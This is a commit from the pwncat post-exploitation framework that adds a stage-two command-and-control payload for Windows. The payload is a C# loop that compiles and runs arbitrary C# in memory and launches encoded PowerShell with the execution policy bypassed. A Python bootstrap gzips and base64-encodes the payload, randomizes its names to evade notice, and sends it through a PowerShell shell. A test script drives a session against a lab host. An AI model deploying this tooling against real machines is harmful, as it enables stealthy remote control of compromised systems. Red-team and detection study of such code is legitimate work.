1
0
mirror of https://github.com/calebstewart/pwncat.git synced 2024-11-24 01:25:37 +01:00

Added proper stagetwo source with basic C# and powershell commands

This commit is contained in:
Caleb Stewart 2021-01-01 18:53:13 -05:00
parent 96292b17d4
commit 274611263e
5 changed files with 257 additions and 39 deletions

View File

@ -11,6 +11,7 @@ public static class ConPtyShell
private const string errorString = "{{{ConPtyShellException}}}\r\n";
private const uint ENABLE_VIRTUAL_TERMINAL_PROCESSING = 0x0004;
private const uint DISABLE_NEWLINE_AUTO_RETURN = 0x0008;
private const uint ENABLE_WRAP_AT_EOL_OUTPUT = 0x0002;
private const uint PROC_THREAD_ATTRIBUTE_PSEUDOCONSOLE = 0x00020016;
private const uint EXTENDED_STARTUPINFO_PRESENT = 0x00080000;
private const uint CREATE_NO_WINDOW = 0x08000000;
@ -236,21 +237,11 @@ public static class ConPtyShell
throw new InvalidOperationException("Could not get console mode");
}
outConsoleMode |= ENABLE_VIRTUAL_TERMINAL_PROCESSING | DISABLE_NEWLINE_AUTO_RETURN;
outConsoleMode &= ~ENABLE_WRAP_AT_EOL_OUTPUT;
if (!SetConsoleMode(hStdOut, outConsoleMode))
{
throw new InvalidOperationException("Could not enable virtual terminal processing");
}
IntPtr hStdIn = GetStdHandle(STD_INPUT_HANDLE);
if (!GetConsoleMode(hStdIn, out outConsoleMode))
{
throw new InvalidOperationException("Could not get console mode");
}
outConsoleMode |= 0x0004 | 0x0001 | 0x0200;
if (!SetConsoleMode(hStdIn, outConsoleMode))
{
throw new InvalidOperationException("Could not enable virtual terminal processing");
}
}
private static int CreatePseudoConsoleWithPipes(ref IntPtr handlePseudoConsole, ref IntPtr ConPtyInputPipeRead, ref IntPtr ConPtyOutputPipeWrite, uint rows, uint cols){

78
pwncat/data/stagetwo.cs Normal file
View File

@ -0,0 +1,78 @@
class StageTwo
{
public System.String ReadUntilLine(System.String delimeter)
{
System.Text.StringBuilder builder = new System.Text.StringBuilder();
while (true)
{
System.String line = System.Console.ReadLine();
if (line == delimeter)
{
break;
}
builder.AppendLine(line);
}
return builder.ToString();
}
public void main()
{
object[] args = new object[] { };
System.Console.WriteLine("READY");
while (true)
{
System.String line = System.Console.ReadLine();
var method = GetType().GetMethod(line);
if (method == null) continue;
method.Invoke(this, args);
}
}
public void powershell()
{
var command = System.Convert.ToBase64String(System.Text.Encoding.Unicode.GetBytes(ReadUntilLine("# ENDBLOCK")));
var startinfo = new System.Diagnostics.ProcessStartInfo()
{
FileName = "powershell.exe",
Arguments = "-noprofile -ep unrestricted -enc " + command,
UseShellExecute = false
};
var p = System.Diagnostics.Process.Start(startinfo);
p.WaitForExit();
}
public void csharp()
{
var cp = new System.CodeDom.Compiler.CompilerParameters()
{
GenerateExecutable = false,
GenerateInMemory = true,
};
while (true)
{
System.String line = System.Console.ReadLine();
if (line == "/* ENDASM */") break;
cp.ReferencedAssemblies.Add(line);
}
cp.ReferencedAssemblies.Add("System.dll");
cp.ReferencedAssemblies.Add("System.Core.dll");
cp.ReferencedAssemblies.Add("System.Dynamic.dll");
cp.ReferencedAssemblies.Add("Microsoft.CSharp.dll");
var r = new Microsoft.CSharp.CSharpCodeProvider().CompileAssemblyFromSource(cp, ReadUntilLine("/* ENDBLOCK */"));
if (r.Errors.HasErrors)
{
return;
}
var obj = r.CompiledAssembly.CreateInstance("command");
obj.GetType().GetMethod("main").Invoke(obj, new object[] { });
}
}

View File

@ -1,13 +1,18 @@
#!/usr/bin/env python3
from io import TextIOWrapper, BufferedIOBase, UnsupportedOperation
from typing import List
from io import StringIO, BytesIO
import textwrap
import pkg_resources
import pathlib
import base64
import time
import gzip
import os
import pwncat
import pwncat.subprocess
import pwncat.util
from pwncat.platform import Platform, PlatformError, Path
@ -16,6 +21,22 @@ class PopenWindows(pwncat.subprocess.Popen):
Windows-specific Popen wrapper class
"""
def __init__(
self,
platform: Platform,
args,
stdout,
stdin,
text,
encoding,
errors,
bufsize,
start_delim: bytes,
end_delim: bytes,
code_delim: bytes,
):
super().__init__()
class WindowsReader(BufferedIOBase):
"""
@ -37,6 +58,13 @@ class Windows(Platform):
established with an open powershell session."""
PATH_TYPE = pathlib.PureWindowsPath
LIBRARY_IMPORTS = {
"Kernel32": [
"IntPtr GetStdHandle(int nStdHandle)",
"bool GetConsoleMode(IntPtr hConsoleHandle, out uint lpMode)",
"bool SetConsoleMode(IntPtr hConsoleHandle, uint lpMode)",
]
}
def __init__(
self,
@ -56,13 +84,119 @@ class Windows(Platform):
# Most Windows connections aren't capable of a PTY, and checking
# is difficult this early. We will assume there isn't one.
self.has_pty = False
self.has_pty = True
# Trigger allocation of a pty. Because of powershell and windows
# being unpredictable and weird, we basically *need* this. So,
# we trigger it initially. WinAPI is available everywhere so on
# any relatively recent version of windows, this should be fine.
self.get_pty()
# self.get_pty()
self._bootstrap_stage_two()
# Load requested libraries
# for library, methods in self.LIBRARY_IMPORTS.items():
# self._load_library(library, methods)
def _bootstrap_stage_two(self):
"""This takes the stage one C2 (powershell) and boostraps it for stage
two. Stage two is C# code dynamically compiled and executed. We first
execute a small C# payload from Powershell which then infinitely accepts
more C# to be executed. Further payloads are separated by the delimeters:
- "/* START CODE BLOCK */"
- "/* END CODE BLOCK */"
"""
# Read stage two source code
stage_two_path = pkg_resources.resource_filename("pwncat", "data/stagetwo.cs")
with open(stage_two_path, "rb") as filp:
source = filp.read()
# Randomize class and method name for a smidge of anonymity
clazz = pwncat.util.random_string(8)
main = pwncat.util.random_string(8)
source = source.replace(b"class StageTwo", b"class " + clazz.encode("utf-8"))
source = source.replace(
b"public void main", b"public void " + main.encode("utf-8")
)
# compress and encode source
source_gz = BytesIO()
with gzip.GzipFile(fileobj=source_gz, mode="wb") as gz:
gz.write(source)
source_enc = base64.b64encode(source_gz.getvalue())
# List of needed assemblies for stage two
needed_assemblies = [
"System.dll",
"System.Core.dll",
"System.Dynamic.dll",
"Microsoft.CSharp.dll",
]
# List of commands in the payload to bootstrap stage two
payload = [
"$cp = New-Object System.CodeDom.Compiler.CompilerParameters",
]
# Add all needed assemblies to the compiler parameters
for assembly in needed_assemblies:
payload.append(f"""$cp.ReferencedAssemblies.Add("{assembly}")""")
# Compile our C2 code and execute it
payload.extend(
[
"$cp.GenerateExecutable = $false",
"$cp.GenerateInMemory = $true",
"$gzb = [System.Convert]::FromBase64String((Read-Host))",
"$gzms = New-Object System.IO.MemoryStream -ArgumentList @(,$gzb)",
"$gz = New-Object System.IO.Compression.GzipStream $gzms, ([IO.Compression.CompressionMode]::Decompress)",
f"$source = New-Object byte[]({len(source)})",
f"$gz.Read($source, 0, {len(source)})",
"$gz.Close()",
"$r = (New-Object Microsoft.CSharp.CSharpCodeProvider).CompileAssemblyFromSource($cp, [System.Text.Encoding]::ASCII.GetString($source))",
f"""$r.CompiledAssembly.CreateInstance("{clazz}").{main}()""",
]
)
# Send the payload, then send the encoded and compressed code
self.channel.send((";".join(payload)).encode("utf-8") + b"\n")
self.channel.send(source_enc + b"\n")
# Wait for the new C2 to be ready
self.channel.recvuntil(b"READY")
def _load_library(self, name: str, methods: List[str]):
"""Load the library. This adds a global with the same name as `name`
which contains a reference to the library with all methods specified in
`mehods` loaded."""
name = name.encode("utf-8")
method_def = b""
for method in methods:
method = method.encode("utf-8")
# self.channel.send(
method_def += (
b'[DllImport(`"'
+ name
+ b'.dll`", SetLastError = true)]`npublic static extern '
+ method
+ b";`n"
)
command = (
b"$"
+ name
+ b' = Add-Type -MemberDefinition "'
+ method_def
+ b"\" -Name '"
+ name
+ b"' -Namespace 'Win32' -PassThru\n"
)
self.channel.send(command)
self.session.manager.log(command.decode("utf-8").strip())
def get_pty(self):
""" Spawn a PTY in the current shell. """
@ -91,7 +225,6 @@ class Windows(Platform):
for idx in range(0, len(source), CHUNK_SZ):
chunk = source[idx : idx + CHUNK_SZ]
self.channel.send(b'$source = $source + "' + chunk + b'"\n')
time.sleep(0.1)
# decode the source
self.channel.send(
@ -109,9 +242,6 @@ class Windows(Platform):
+ b"\n"
)
self.channel.recvuntil(b"> ")
self.channel.send(b"\n")
self.has_pty = True
def get_host_hash(self):
@ -124,6 +254,8 @@ class Windows(Platform):
@interactive.setter
def interactive(self, value):
return
if value:
command = (
@ -138,13 +270,10 @@ class Windows(Platform):
"}",
]
)
+ "\r\r"
+ "\r"
)
self.logger.info(command.rstrip("\n"))
self.channel.send(command.encode("utf-8"))
self.channel.recvuntil(b"$")
self.channel.recvuntil(b"\n")
return

View File

@ -242,7 +242,9 @@ def with_progress(title: str, target: Callable[[Callable], None], length: int =
def random_string(length: int = 8):
""" Create a random alphanumeric string """
return "".join(random.choice(ALPHANUMERIC) for _ in range(length))
return random.choice(string.ascii_letters) + "".join(
random.choice(ALPHANUMERIC) for _ in range(length - 1)
)
def enter_raw_mode():

18
test.py
View File

@ -1,5 +1,6 @@
#!./env/bin/python
import pwncat.manager
import time
# Create a manager
manager = pwncat.manager.Manager("data/pwncatrc")
@ -7,4 +8,21 @@ manager = pwncat.manager.Manager("data/pwncatrc")
# Establish a session
session = manager.create_session("windows", host="192.168.122.11", port=4444)
session.platform.channel.send(
b"""
csharp
/* ENDASM */
class command {
public void main()
{
System.Console.WriteLine("We can execute C# Now!");
}
}
/* ENDBLOCK */
powershell
Write-Host "And we can execute powershell!"
# ENDBLOCK
"""
)
manager.interactive()